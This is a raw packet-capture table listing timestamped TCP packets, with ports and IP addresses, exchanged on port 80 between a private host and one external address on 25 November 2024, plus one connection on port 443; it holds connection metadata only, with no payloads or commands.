Nov 25, 2024 07:53:46.489121914 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.489236116 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.489296913 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.490102053 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.490144014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.490195036 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.490232944 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.491208076 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.491261005 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.491442919 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.491508007 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.492238045 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.492440939 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.492508888 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.493294001 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.493356943 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.493438005 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.494353056 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.494394064 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.494446993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.494498014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.495390892 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.495635033 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.495695114 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.496479034 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.496629000 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.496644974 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.496752024 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.497540951 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.497591972 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.497606993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.497639894 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.498559952 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.498606920 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.498666048 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.498706102 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.499605894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.499655008 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.499701977 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.499753952 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.500672102 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.500747919 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.500771999 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.500829935 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.501718044 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.501836061 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.501884937 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.502788067 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.502906084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.502985954 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.503848076 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.503901005 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.503916025 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.504110098 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.504872084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.504914999 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.505000114 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.505040884 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.505970001 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.506019115 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.506057024 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.506988049 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.507056952 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.507162094 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.508058071 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.508152008 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.508208036 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.509116888 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.509161949 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.509218931 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.509279013 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.510145903 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.510195017 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.510258913 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.510292053 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.511225939 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.511276007 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.511332035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.511460066 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.512281895 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.512346983 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.512402058 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.512444973 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.513336897 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.513380051 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.513390064 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.513457060 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.514395952 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.514431000 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.514481068 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.515423059 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.515546083 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.515615940 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.516489983 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.516540051 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.516593933 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.516628027 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.517556906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.517600060 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.517656088 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.517735004 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.518623114 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.518721104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.518789053 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.519648075 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.519700050 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.519798994 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.519855022 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.520718098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.520775080 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.520798922 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.520813942 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.522006035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.522016048 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.522064924 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.522825956 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.522886992 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.522938967 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.522977114 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.523883104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.523935080 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.523938894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.523973942 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.524883986 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.524960995 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.633728027 CET	49880	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:46.670864105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.670919895 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.671010971 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.671120882 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.671639919 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.671729088 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.671753883 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.671786070 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.672614098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.672668934 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.672710896 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.672749043 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.673466921 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.673479080 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.673526049 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.674535036 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.674540997 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.674598932 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.675604105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.675616026 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.675652981 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.676613092 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.676657915 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.676661968 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.676788092 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.677661896 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.677795887 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.677802086 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.677853107 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.678755045 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.678812027 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.678945065 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.679033041 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.679821968 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.679897070 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.680030107 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.680078030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.680846930 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.680901051 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.680984974 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.681021929 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.681893110 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.681950092 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.682008028 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.682075024 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.682943106 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.683068991 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.683126926 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.684015036 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.684072018 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.684078932 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.684232950 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.685122967 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.685173035 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.685288906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.685359955 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.686152935 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.686206102 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.686448097 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.687202930 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.687215090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.687252998 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.688255072 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.688266993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.688306093 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.689340115 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.689383984 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.689413071 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.689551115 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.690339088 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.690412045 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.690445900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.690485954 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.691404104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.691497087 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.691519022 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.691560984 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.692450047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.692584991 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.692625046 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.692636967 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.693656921 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.693728924 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.693756104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.693944931 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.694576979 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.694638014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.694730997 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.694782019 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.695637941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.695703030 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.695707083 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.695782900 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.696693897 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.696752071 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.696801901 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.696850061 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.697820902 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.697927952 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.698211908 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.698817015 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.699042082 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.699095964 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.699858904 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.699908018 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.699925900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.700589895 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.700913906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.700958014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.701073885 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.701152086 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.701963902 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.702024937 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.702145100 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.702218056 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.703039885 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.703150988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.703223944 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.704101086 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.704150915 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.704212904 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.704256058 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.705133915 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.705219984 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.705276966 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.706190109 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.706252098 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.706301928 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.707264900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.707320929 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.707324028 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.707375050 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.708266973 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.708324909 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.708375931 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.708484888 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.709325075 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.709449053 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.709456921 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.709513903 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.710402966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.710448027 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.710501909 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.710669041 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.711433887 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.711544037 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.711589098 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.712485075 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.712543964 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.712553978 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.712585926 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.713673115 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.713742018 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.713752985 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.713789940 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.714721918 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.714732885 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.714783907 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.715679884 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.715739965 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.715800047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.716732025 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.716789007 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.716864109 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.716909885 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.717772007 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.717818975 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.717936039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.718046904 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.718868971 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.718956947 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.719013929 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.719886065 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.719949007 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.719980955 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.720025063 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.720937967 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.720983028 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.721035957 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.721092939 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.721999884 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.722058058 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.722187996 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.723103046 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.723186016 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.723239899 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.724150896 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.724203110 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.724226952 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.724286079 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.725147009 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.725255966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.725281000 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.725302935 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.726171017 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.726228952 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.878762960 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.878782988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.878809929 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.878819942 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.878833055 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.878854990 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.878885031 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.879220009 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.879234076 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.879267931 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.879280090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.879328966 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.879761934 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.879776955 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.879820108 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:46.880237103 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.880256891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:46.880310059 CET	49825	80	192.168.2.6	185.215.113.206
